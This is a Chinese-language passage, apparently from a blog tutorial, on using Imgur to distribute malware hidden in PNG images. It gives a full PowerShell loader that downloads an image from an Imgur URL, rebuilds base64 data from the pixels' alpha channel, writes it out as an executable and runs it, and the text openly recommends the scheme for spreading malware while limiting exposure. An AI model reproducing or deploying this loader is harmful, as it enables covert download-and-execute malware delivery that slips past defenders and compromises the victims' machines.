如您所见,前面制作的文件上传到Imgur后并没有被改变。
那我们现在要怎么办? 这有用吗?好了,Imgur只是万里长征的第一步:无需注册帐户就可以上传图片。为什么不使用它来分发恶意软件,而不必暴露自己太多的信息呢?
有一件事要注意,你必须有能力恢复PNG图像并对其进行处理,因为带有代码执行漏洞的PNG库已经成为过去,只是加载带有有效载荷的图像是不太可能黑掉系统的。
幸运的是,Windows有一个内置的功能,可以直接让你与图像打交道并提取像素数据。为此,可以使用Powershell,而无需任何附加模块。代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
Add-Type -AssemblyName System.Drawing
Add-Type -AssemblyName System.Text.Encoding
$strURL = "http://i.imgur.com/nckqSN1.png"
$strFilename = "c:\temp\payloadb64.png"
$peOutputFile = "c:\temp\calc.exe"
Invoke-WebRequest -Uri $strURL -OutFile $strFilename
$image = [System.Drawing.Image]::FromFile($strFilename)
$peBase64 = @()
for ($w=0;$w -lt $image.Width;$w++)
{
$row = @()
for ($h=0;$h -lt $image.Height;$h++)
{
$pixel = ($image.GetPixel($w,$h)).A
$pixel = [convert]::toint32($pixel, 10)
$pixel = [char]$pixel
$row += $pixel
}
$peBase64 = $peBase64 + $row
}
$peImage = @()
foreach ($peValue in $peBase64)
{
if ($peValue -ne "`0")
{
$peImage = $peImage += $peValue
}
}
$peImage = [System.Convert]::FromBase64String($peImage)
[System.IO.File]::WriteAllBytes($peOutputFile, $peImage)
& $peOutputFile
|
发表评论